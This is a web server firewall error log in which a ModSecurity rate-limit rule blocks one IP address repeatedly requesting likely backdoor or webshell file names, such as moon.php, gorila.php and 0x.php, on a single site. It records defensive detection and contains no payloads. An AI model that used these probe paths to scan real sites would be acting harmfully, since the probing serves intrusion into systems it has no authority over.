[Wed Jan 14 06:27:29.750160 2026] [:error] [pid 24601:tid 24627] [client 4.213.64.52:4964] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aWbG0UCtWkZ9rlKW5n-KFAAAABE"]
[Wed Jan 14 06:27:30.028706 2026] [:error] [pid 24601:tid 24614] [client 4.213.64.52:5027] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aWbG0kCtWkZ9rlKW5n-KFQAAAAQ"]
[Wed Jan 14 06:27:30.305134 2026] [:error] [pid 58899:tid 58924] [client 4.213.64.52:4943] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aWbG0gWViGQd5R44tHF9tQAAAZU"]
[Wed Jan 14 06:27:30.582016 2026] [:error] [pid 24601:tid 24620] [client 4.213.64.52:4481] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aWbG0kCtWkZ9rlKW5n-KFgAAAAo"]
[Wed Jan 14 06:27:30.857919 2026] [:error] [pid 24710:tid 24720] [client 4.213.64.52:4500] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aWbG0mXBo5bEhDEEhs1zvgAAAMg"]
[Wed Jan 14 06:27:31.133390 2026] [:error] [pid 58899:tid 58916] [client 4.213.64.52:4949] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aWbG0wWViGQd5R44tHF9uQAAAY0"]
[Wed Jan 14 06:27:31.424875 2026] [:error] [pid 24603:tid 24682] [client 4.213.64.52:4865] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aWbG05PBJGFGN8VT8_SxOgAAAJE"]
[Wed Jan 14 06:27:31.700799 2026] [:error] [pid 24602:tid 24639] [client 4.213.64.52:4509] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aWbG00ooYwabcb9R9fxAmQAAAEE"]
[Wed Jan 14 06:27:31.981241 2026] [:error] [pid 24602:tid 24658] [client 4.213.64.52:4880] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aWbG00ooYwabcb9R9fxAmgAAAFQ"]
[Wed Jan 14 06:27:32.270852 2026] [:error] [pid 58977:tid 58994] [client 4.213.64.52:4930] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aWbG1LlT6ggZLRx9QvALEQAAAg4"]
[Wed Jan 14 06:27:32.545628 2026] [:error] [pid 58899:tid 58925] [client 4.213.64.52:4956] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aWbG1AWViGQd5R44tHF9vAAAAZY"]
[Wed Jan 14 06:27:32.835260 2026] [:error] [pid 58699:tid 58721] [client 4.213.64.52:4516] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aWbG1OYdPBtkMLK2Sdq2hgAAARM"]
[Wed Jan 14 06:27:33.110946 2026] [:error] [pid 24602:tid 24662] [client 4.213.64.52:4886] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aWbG1UooYwabcb9R9fxAnAAAAFg"]
[Wed Jan 14 06:27:33.384904 2026] [:error] [pid 24601:tid 24624] [client 4.213.64.52:4954] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gorila.php"] [unique_id "aWbG1UCtWkZ9rlKW5n-KGQAAAA4"]
[Wed Jan 14 06:27:33.663365 2026] [:error] [pid 58699:tid 58707] [client 4.213.64.52:35006] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gorila.php"] [unique_id "aWbG1eYdPBtkMLK2Sdq2iQAAAQU"]
[Wed Jan 14 06:27:33.949039 2026] [:error] [pid 58901:tid 58936] [client 4.213.64.52:4529] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gorila.php"] [unique_id "aWbG1b3kQSrcqIWtO0o4QQAAAcY"]
[Wed Jan 14 06:27:34.259360 2026] [:error] [pid 24710:tid 24724] [client 4.213.64.52:4888] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gorila.php"] [unique_id "aWbG1mXBo5bEhDEEhs1zxQAAAMw"]
[Wed Jan 14 06:27:34.539097 2026] [:error] [pid 58977:tid 58992] [client 4.213.64.52:5038] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xvent.php"] [unique_id "aWbG1rlT6ggZLRx9QvALEwAAAgw"]
[Wed Jan 14 06:27:34.832773 2026] [:error] [pid 58868:tid 58889] [client 4.213.64.52:4885] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xvent.php"] [unique_id "aWbG1k67yj8PZAmdsblycQAAAVM"]
[Wed Jan 14 06:27:35.105424 2026] [:error] [pid 24602:tid 24643] [client 4.213.64.52:4917] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xvent.php"] [unique_id "aWbG10ooYwabcb9R9fxAnwAAAEU"]
[Wed Jan 14 06:27:35.407484 2026] [:error] [pid 58977:tid 58989] [client 4.213.64.52:5009] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xvent.php"] [unique_id "aWbG17lT6ggZLRx9QvALFAAAAgk"]
[Wed Jan 14 06:27:35.685968 2026] [:error] [pid 58977:tid 59003] [client 4.213.64.52:4979] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aaa.php"] [unique_id "aWbG17lT6ggZLRx9QvALFgAAAhc"]
[Wed Jan 14 06:27:35.974978 2026] [:error] [pid 58899:tid 58906] [client 4.213.64.52:4986] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aaa.php"] [unique_id "aWbG1wWViGQd5R44tHF9wAAAAYM"]
[Wed Jan 14 06:27:36.297930 2026] [:error] [pid 58868:tid 58873] [client 4.213.64.52:5017] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aaa.php"] [unique_id "aWbG2E67yj8PZAmdsblycgAAAUM"]
[Wed Jan 14 06:27:36.586999 2026] [:error] [pid 24603:tid 24676] [client 4.213.64.52:5000] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aaa.php"] [unique_id "aWbG2JPBJGFGN8VT8_SxQAAAAIs"]
[Wed Jan 14 06:27:36.861203 2026] [:error] [pid 58699:tid 58704] [client 4.213.64.52:4894] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ut.php"] [unique_id "aWbG2OYdPBtkMLK2Sdq2jQAAAQI"]
[Wed Jan 14 06:27:37.144807 2026] [:error] [pid 24710:tid 24729] [client 4.213.64.52:4972] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ut.php"] [unique_id "aWbG2WXBo5bEhDEEhs1zzwAAANE"]
[Wed Jan 14 06:27:37.429928 2026] [:error] [pid 58899:tid 58903] [client 4.213.64.52:4901] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ut.php"] [unique_id "aWbG2QWViGQd5R44tHF9wQAAAYA"]
[Wed Jan 14 06:27:37.700069 2026] [:error] [pid 58699:tid 58725] [client 4.213.64.52:4988] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ut.php"] [unique_id "aWbG2eYdPBtkMLK2Sdq2jwAAARc"]
[Wed Jan 14 06:27:37.984496 2026] [:error] [pid 58868:tid 58879] [client 4.213.64.52:4534] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aWbG2U67yj8PZAmdsblydAAAAUk"]
[Wed Jan 14 06:27:38.262655 2026] [:error] [pid 59074:tid 59096] [client 4.213.64.52:4530] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aWbG2k_KrJ818pzhB3xv-wAAAlQ"]
[Wed Jan 14 06:27:38.538036 2026] [:error] [pid 58699:tid 58709] [client 4.213.64.52:4540] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aWbG2uYdPBtkMLK2Sdq2kQAAAQc"]
[Wed Jan 14 06:27:38.814960 2026] [:error] [pid 24602:tid 24640] [client 4.213.64.52:4869] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aWbG2kooYwabcb9R9fxApAAAAEI"]
[Wed Jan 14 06:27:39.088285 2026] [:error] [pid 59074:tid 59095] [client 4.213.64.52:4508] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aWbG20_KrJ818pzhB3xv_wAAAlM"]
[Wed Jan 14 06:27:39.375724 2026] [:error] [pid 24710:tid 24733] [client 4.213.64.52:4877] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aWbG22XBo5bEhDEEhs1z1QAAANU"]
[Wed Jan 14 06:27:39.649232 2026] [:error] [pid 24603:tid 24677] [client 4.213.64.52:4808] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aWbG25PBJGFGN8VT8_SxRAAAAIw"]
[Wed Jan 14 06:27:39.921573 2026] [:error] [pid 58699:tid 58702] [client 4.213.64.52:4871] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aWbG2-YdPBtkMLK2Sdq2kgAAAQA"]
[Wed Jan 14 06:27:40.194392 2026] [:error] [pid 58901:tid 58944] [client 4.213.64.52:4976] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aWbG3L3kQSrcqIWtO0o4SQAAAc4"]
[Wed Jan 14 06:27:40.471361 2026] [:error] [pid 58901:tid 58941] [client 4.213.64.52:4496] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aWbG3L3kQSrcqIWtO0o4TAAAAcs"]
[Wed Jan 14 06:27:40.755433 2026] [:error] [pid 24710:tid 24734] [client 4.213.64.52:4974] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aWbG3GXBo5bEhDEEhs1z2AAAANY"]
[Wed Jan 14 06:27:41.031602 2026] [:error] [pid 58699:tid 58703] [client 4.213.64.52:4493] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/444.php"] [unique_id "aWbG3eYdPBtkMLK2Sdq2lAAAAQE"]
[Wed Jan 14 06:27:41.303684 2026] [:error] [pid 58699:tid 58714] [client 4.213.64.52:4510] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/efile.php"] [unique_id "aWbG3eYdPBtkMLK2Sdq2lQAAAQw"]
[Wed Jan 14 06:27:41.578020 2026] [:error] [pid 24603:tid 24665] [client 4.213.64.52:4486] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/efile.php"] [unique_id "aWbG3ZPBJGFGN8VT8_SxSQAAAIA"]
[Wed Jan 14 06:27:41.855038 2026] [:error] [pid 24710:tid 24724] [client 4.213.64.52:4914] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/efile.php"] [unique_id "aWbG3WXBo5bEhDEEhs1z2wAAAMw"]
[Wed Jan 14 06:27:42.136566 2026] [:error] [pid 58899:tid 58912] [client 4.213.64.52:4532] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/efile.php"] [unique_id "aWbG3gWViGQd5R44tHF9wgAAAYk"]
[Wed Jan 14 06:27:42.433502 2026] [:error] [pid 58868:tid 58871] [client 4.213.64.52:4911] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mg.php"] [unique_id "aWbG3k67yj8PZAmdsblydwAAAUE"]
[Wed Jan 14 06:27:42.708904 2026] [:error] [pid 24710:tid 24713] [client 4.213.64.52:4970] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mg.php"] [unique_id "aWbG3mXBo5bEhDEEhs1z3gAAAME"]
[Wed Jan 14 06:27:42.983509 2026] [:error] [pid 58699:tid 58720] [client 4.213.64.52:4495] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mg.php"] [unique_id "aWbG3uYdPBtkMLK2Sdq2mAAAARI"]
[Wed Jan 14 06:27:43.270373 2026] [:error] [pid 58977:tid 58996] [client 4.213.64.52:4864] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mg.php"] [unique_id "aWbG37lT6ggZLRx9QvALGgAAAhA"]
[Wed Jan 14 06:27:43.545502 2026] [:error] [pid 58699:tid 58711] [client 4.213.64.52:4963] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aWbG3-YdPBtkMLK2Sdq2mQAAAQk"]
[Wed Jan 14 06:27:43.820693 2026] [:error] [pid 58901:tid 58936] [client 4.213.64.52:4916] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aWbG373kQSrcqIWtO0o4VgAAAcY"]
[Wed Jan 14 06:27:44.095159 2026] [:error] [pid 24602:tid 24659] [client 4.213.64.52:4967] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aWbG4EooYwabcb9R9fxApgAAAFU"]
[Wed Jan 14 06:27:44.368765 2026] [:error] [pid 58699:tid 58705] [client 4.213.64.52:4521] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aWbG4OYdPBtkMLK2Sdq2mgAAAQM"]
[Wed Jan 14 06:27:44.641418 2026] [:error] [pid 58868:tid 58880] [client 4.213.64.52:4981] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aWbG4E67yj8PZAmdsblyegAAAUo"]
[Wed Jan 14 06:27:44.919404 2026] [:error] [pid 24602:tid 24641] [client 4.213.64.52:4527] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aWbG4EooYwabcb9R9fxApwAAAEM"]
[Wed Jan 14 06:27:45.239598 2026] [:error] [pid 58899:tid 58909] [client 4.213.64.52:4966] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aWbG4QWViGQd5R44tHF9xwAAAYY"]
[Wed Jan 14 06:27:45.556184 2026] [:error] [pid 58977:tid 58987] [client 4.213.64.52:4884] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aWbG4blT6ggZLRx9QvALIAAAAgc"]
